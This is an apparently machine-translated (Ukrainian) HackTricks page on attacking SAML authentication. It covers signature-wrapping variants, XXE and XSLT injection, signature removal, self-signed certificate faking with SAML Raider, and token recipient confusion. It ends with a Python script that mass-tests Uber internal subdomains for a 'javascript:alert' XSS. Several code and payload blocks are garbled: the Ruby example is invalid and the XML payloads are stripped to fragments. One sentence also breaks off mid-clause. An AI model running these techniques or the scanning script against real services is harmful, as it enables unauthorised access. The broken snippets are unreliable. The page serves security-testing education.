# SAML Attacks
## SAML Attacks
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Вивчайте та практикуйте GCP Hacking: 
[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Підтримати HackTricks
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
{% endhint %}
## Basic Information
{% content-ref url="saml-basics.md" %}
[saml-basics.md](saml-basics.md)
{% endcontent-ref %}
## Tool
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Інструмент, який може взяти URL або список URL і вивести SAML consume URL.
## XML round-trip
В XML підписана частина XML зберігається в пам'яті, потім виконується деяке кодування/декодування, і перевіряється підпис. В ідеалі це кодування/декодування не повинно змінювати дані, але на основі цього сценарію, **дані, що перевіряються, і оригінальні дані можуть не бути однаковими**.
Наприклад, перевірте наступний код:
```ruby
require 'rexml/document'
doc = REXML::Document.new <]>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
Виконання програми проти REXML 3.2.4 або раніше призведе до наступного виходу замість цього:
```
First child in original doc: Y
First child after round-trip: Z
```
Це те, як REXML побачив оригінальний XML документ з програми вище:
.png>)
А це те, як він побачив його після етапу парсингу та серіалізації:
.png>)
Для отримання додаткової інформації про вразливість та способи її використання:
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## Атаки на обгортку XML-підпису
У **атаках на обгортку XML-підпису (XSW)** противники експлуатують вразливість, що виникає, коли XML документи обробляються через два різні етапи: **перевірка підпису** та **виклик функції**. Ці атаки передбачають зміну структури XML документа. Зокрема, зловмисник **впроваджує підроблені елементи**, які не порушують дійсність XML підпису. Ця маніпуляція має на меті створити розбіжність між елементами, які аналізуються **логікою програми**, та тими, що перевіряються **модулем перевірки підпису**. В результаті, хоча XML підпис залишається технічно дійсним і проходить перевірку, логіка програми обробляє **фальшиві елементи**. Таким чином, зловмисник ефективно обходить **захист цілісності** та **автентифікацію походження** XML підпису, що дозволяє **впроваджувати довільний контент** без виявлення.
Наступні атаки базуються на [**цьому блозі**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **та** [**цьому документі**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Тож перевірте їх для отримання додаткових деталей.
### XSW #1
* **Стратегія**: Додається новий кореневий елемент, що містить підпис.
* **Наслідок**: Валідатор може заплутатися між легітимним "Response -> Assertion -> Subject" та "зловмисним новим Response -> Assertion -> Subject", що призводить до проблем з цілісністю даних.
.png>)
### XSW #2
* **Відмінність від XSW #1**: Використовує відокремлений підпис замість обгорткового підпису.
* **Наслідок**: "Зловмисна" структура, подібно до XSW #1, має на меті обманути бізнес-логіку після перевірки цілісності.
.png>)
### XSW #3
* **Стратегія**: Створюється зловмисна Assertion на тому ж ієрархічному рівні, що й оригінальна assertion.
* **Наслідок**: Має на меті заплутати бізнес-логіку, щоб вона використовувала шкідливі дані.
.png>)
### XSW #4
* **Відмінність від XSW #3**: Оригінальна Assertion стає дочірнім елементом дублікату (зловмисної) Assertion.
* **Наслідок**: Подібно до XSW #3, але більш агресивно змінює структуру XML.
.png>)
### XSW #5
* **Унікальний аспект**: Ні підпис, ні оригінальна Assertion не відповідають стандартним конфігураціям (обгортковий/обгортковий/відокремлений).
* **Наслідок**: Скопійована Assertion обгортає підпис, змінюючи очікувану структуру документа.
.png>)
### XSW #6
* **Стратегія**: Схожа вставка місця, як у XSW #4 та #5, але з обертом.
* **Наслідок**: Скопійована Assertion обгортає підпис, який потім обгортає оригінальну Assertion, створюючи вкладену оманливу структуру.
.png>)
### XSW #7
* **Стратегія**: Вставляється елемент Extensions з копійованою Assertion як дочірнім.
* **Наслідок**: Це експлуатує менш обмежувальну схему елемента Extensions, щоб обійти контрзаходи перевірки схеми, особливо в бібліотеках, таких як OpenSAML.
.png>)
### XSW #8
* **Відмінність від XSW #7**: Використовує інший менш обмежувальний XML елемент для варіанту атаки.
* **Наслідок**: Оригінальна Assertion стає дочірнім елементом менш обмежувального елемента, змінюючи структуру, використану в XSW #7.
.png>)
### Інструмент
Ви можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) для парсингу запиту, застосування будь-якої атаки XSW, яку ви виберете, та її запуску.
## XXE
Якщо ви не знаєте, які види атак є XXE, будь ласка, прочитайте наступну сторінку:
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
{% endcontent-ref %}
SAML відповіді є **зменшеними та закодованими в base64 XML документами** і можуть бути вразливими до атак XML External Entity (XXE). Маніпулюючи структурою XML SAML відповіді, зловмисники можуть намагатися експлуатувати вразливості XXE. Ось як така атака може бути візуалізована:
```xml
]>
...
...
...
[...]
```
## Tools
Ви також можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) для генерації POC з SAML запиту для тестування на можливі вразливості XXE та SAML вразливості.
Перегляньте також цю доповідь: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XSLT via SAML
Для отримання додаткової інформації про XSLT перейдіть за посиланням:
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}
Перетворення розширювальної таблиці стилів (XSLT) можуть використовуватися для перетворення XML документів у різні формати, такі як HTML, JSON або PDF. Важливо зазначити, що **перетворення XSLT виконуються до перевірки цифрового підпису**. Це означає, що атака може бути успішною навіть без дійсного підпису; самопідписаний або недійсний підпис є достатнім для продовження.
Тут ви можете знайти **POC** для перевірки на такі вразливості, на сторінці hacktricks, згаданій на початку цього розділу, ви можете знайти корисні payloads.
```xml
...
...
```
### Tool
Ви також можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) для генерації POC з SAML запиту для тестування можливих вразливостей XSLT.
Перегляньте також цю доповідь: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XML Signature Exclusion
**XML Signature Exclusion** спостерігає за поведінкою реалізацій SAML, коли елемент Signature відсутній. Якщо цей елемент відсутній, **перевірка підпису може не відбутися**, що робить його вразливим. Можливо протестувати це, змінивши вміст, який зазвичай перевіряється підписом.
.png>)
### Tool
Ви також можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Перехопіть SAML Response і натисніть `Remove Signatures`. Таким чином **всі** елементи Signature будуть видалені.
З видаленими підписами, дозвольте запиту продовжити до цілі. Якщо підпис не потрібен сервісу
## Certificate Faking
## Certificate Faking
Certificate Faking - це техніка для тестування, чи **правильно перевіряє постачальник послуг (SP), що SAML повідомлення підписане** довіреним постачальником ідентифікації (IdP). Це передбачає використання \***самопідписаного сертифіката** для підписання SAML Response або Assertion, що допомагає оцінити процес перевірки довіри між SP та IdP.
### How to Conduct Certificate Faking
Наступні кроки описують процес використання розширення Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
1. Перехопіть SAML Response.
2. Якщо відповідь містить підпис, надішліть сертифікат до SAML Raider Certs, використовуючи кнопку `Send Certificate to SAML Raider Certs`.
3. У вкладці сертифікатів SAML Raider виберіть імпортований сертифікат і натисніть `Save and Self-Sign`, щоб створити самопідписаний клон оригінального сертифіката.
4. Поверніться до перехопленого запиту в проксі Burp. Виберіть новий самопідписаний сертифікат з випадаючого списку XML Signature.
5. Видаліть будь-які існуючі підписи за допомогою кнопки `Remove Signatures`.
6. Підпишіть повідомлення або підтвердження новим сертифікатом, використовуючи кнопку **`(Re-)Sign Message`** або **`(Re-)Sign Assertion`**, відповідно.
7. Перешліть підписане повідомлення. Успішна аутентифікація вказує на те, що SP приймає повідомлення, підписані вашим самопідписаним сертифікатом, що виявляє потенційні вразливості в процесі перевірки SAML повідомлень.
## Token Recipient Confusion / Service Provider Target Confusion
Token Recipient Confusion та Service Provider Target Confusion включають перевірку, чи **правильно перевіряє постачальник послуг призначеного отримувача відповіді**. По суті, постачальник послуг повинен відхиляти відповідь на аутентифікацію, якщо вона призначена для іншого постачальника. Критичним елементом тут є поле **Recipient**, яке знаходиться в елементі **SubjectConfirmationData** SAML Response. Це поле вказує URL, куди повинно бути надіслано підтвердження. Якщо фактичний отримувач не відповідає призначеному постачальнику послуг, підтвердження слід вважати недійсним.
#### **How It Works**
Для того, щоб атака SAML Token Recipient Confusion (SAML-TRC) була здійсненною, повинні бути виконані певні умови. По-перше, має бути дійсний обліковий запис на постачальнику послуг (називається SP-Legit). По-друге, цільовий постачальник послуг (SP-Target) повинен приймати токени від того ж постачальника ідентифікації, який обслуговує SP-Legit.
Процес атаки є простим за цих умов. Аутентифікована сесія ініціюється з SP-Legit через спільного постачальника ідентифікації. SAML Response від постачальника ідентифікації до SP-Legit перехоплюється. Цей перехоплений SAML Response, спочатку призначений для SP-Legit, потім перенаправляється до SP-Target. Успіх цієї атаки вимірюється тим, що SP-Target приймає підтвердження, надаючи доступ до ресурсів під тим же ім'ям облікового запису, що використовувалося для SP-Legit.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
```
## XSS в функції виходу
Оригінальне дослідження можна знайти за [цим посиланням](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
Під час процесу брутфорсингу директорій була виявлена сторінка виходу за адресою:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
При доступі до цього посилання відбулася переадресація на:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
Це виявило, що параметр `base` приймає URL. Враховуючи це, виникла ідея замінити URL на `javascript:alert(123);` в спробі ініціювати атаку XSS (Cross-Site Scripting).
### Масове використання
[З цього дослідження](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
Інструмент [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) був використаний для аналізу піддоменів `uberinternal.com` для доменів, які використовують ту ж бібліотеку. Після цього був розроблений скрипт для націлювання на сторінку `oidauth/prompt`. Цей скрипт тестує на наявність XSS (Cross-Site Scripting), вводячи дані та перевіряючи, чи відображаються вони в виході. У випадках, коли введені дані дійсно відображаються, скрипт позначає сторінку як вразливу.
```python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
```
## Посилання
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Підтримати HackTricks
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
{% endhint %}